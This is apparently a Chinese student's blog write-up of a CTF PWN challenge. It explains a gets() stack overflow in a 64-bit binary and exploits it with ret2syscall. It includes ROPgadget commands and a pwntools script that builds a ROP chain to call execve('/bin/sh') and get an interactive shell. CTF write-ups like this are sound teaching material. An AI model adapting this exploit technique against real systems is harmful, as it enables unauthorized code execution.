0-Preview

👴终于开学了,但是神奇的是,没时间学 PWN 了。现在天天满课,还都是专业课,非常离谱。
仔细思考了一天,决定还是认真学一下数据结构,毕竟搞 PWN 和 RE 还是要算法基础的,今天听老师讲双链表对我学堆就很有收获。
数据库的话,对我的职业规划而言还是未知的,暂且保持观望吧。
除非有大事,我一般不会断更,一天的学习时间也就晚上的两个小时。周末文章篇幅才会长。

也就会更新四种文章:勾八文、比赛WP、PWN和数据结构、旅游记录。

1-栈溢出新姿势

打 软🐮子杯 (某个否认👴中国公民身份的比赛)遇到的PWN题,没见过这种,记录一下:
image-20211012191828909

直接上 IDA分析吧,最迷惑的就是这个部分了。
首先就是这堆莫名其妙的函数,数量极其庞大,还有乱七八糟的字符串:

image-20211012192955423

image-20211012193514459**

这些字符串一度让我怀疑我是不是下载错附件了,一个栈溢出的题里面出现堆的各种东西。
忽略这些扰乱思维的东西,我们跟进主函数看一下有没有啥漏洞。
image-20211012194447293

image-20211012194516212

这里有一个危险函数 gets() 可以输入任意字符串,由于是引用 name 所以不能直接修改 gets 函数的返回地址,说不了之后可以起到作用。
这里有个 fun(v11) 很明显就是我们要劫持的函数,调用了 v11 我们只要想办法填充 v11 覆盖掉函数返回地址就行。
image-20211012200754624

溢出点找到了,现在可以溢出 name 劫持函数以后往寄存器内存我们需要的 “ /bin/sh ”

2-ret2syscall

经过大师傅提示才反应过来,我当时学ret2系列时候跳过了一个:ret2syscall
这类题目没有 system () 这类的函数,而且我们也不能在栈上执行我们的 shellcode,也就是说我们之前学到的 ret2textret2shellcode都不能用。
所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用

需要我们自己构造 rop链。32位syscall 需要准备以下条件:

🔑系统调用号,即 eax 应该为 0xb 64位是0x3b
🔑第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
🔑第二个参数,即 ecx 应该为 0
🔑第三个参数,即 edx 应该为 0

但是这个题是 64位的程序,与32位还是有很大区别的:

系统调用号不同.比如x86sys_write 是 4 ,sys_exit 是 1;
而x86_64sys_write 是 1 , sys_exit 是 60。
系统调用所使用的寄存器不同,x86_64中使用与 eax 对应的 rax 传递系统调用号,但是 x86_64中分别使用 rdi/rsi/rdx 传递前三个参数,而不是 x86 中的 ebx/ecx/edx。
系统调用使用 “ syscall ” 而不是 “ int 80

所以我们需要做的一共有这几件事:

1、将 rax 赋值为 0x3b (sys_execve函数
2、将我们写入的 “ /bin/sh ” 地址写入 rdi (第一个参数
3、将 rsi 和 rdx 置 0

利用ROPgadget获取我们需要的地址:

1
2
3
4
5
6
7
8
9
BASH
ROPgadget --binary ./pwn10 --only "pop|ret" |grep "rax"
//0x41f884
ROPgadget --binary ./pwn10 --only "pop|ret" |grep "rdi"
//0x4016e6
ROPgadget --binary ./pwn10 --only "pop|ret" |grep "rdx"
//0x442d16
ROPgadget --binary ./pwn10 --only "pop|ret" |grep "rsi"
//0x401807

3-小插🎵

还是ROPgadget 使用太少,这里的一行的指令是直接可以达到将两个寄存器置 0 的,不用费劲去找另一个。

image-20211102204633019

4-exp

写 exp 以前先来梳理一下思路,因为这个题需要一定的二进制基础,尤其是调用函数时候的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shangu = 0

def main():
if shangu == 1:
io = remote("",)
else:
io = process("pwn10")

pop_rax = 0x41f884
pop_rdi = 0x4016e6
pop_rsi = 0x401807
pop_rdx = 0x442d16
shell_adr = 0x006cc000
syscall_adr = 0x440415
mov_rsi_rax = 0x474821
pop_rsi_rdx = 0x442d39

payload = 112*'a'+p64(0)+p64(pop_rax)+'/bin/sh\x00'+p64(pop_rsi)+p64(shell_adr)+p64(mov_rsi_rax)+p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(shell_adr)+p64(pop_rsi_rdx) + p64(0)+p64(0)+p64(syscall_adr)


io.sendline(payload)
io.interactive()

main()

5-bibi

这篇文章脱了很久,差点就拖了一个月,十月十二号新建的md文件。十一月二号才写完。
忙完联合赛和招新赛就没啥事了,必须专心搞技术了,不能再因为某些🐮🐴事情耽误了。

PWN的节奏会放慢一些,给四级腾出点时间,这样才能换来更多地时间去学pwn。

最后,招新有新生组团py,👴很生气。

lcbtopimg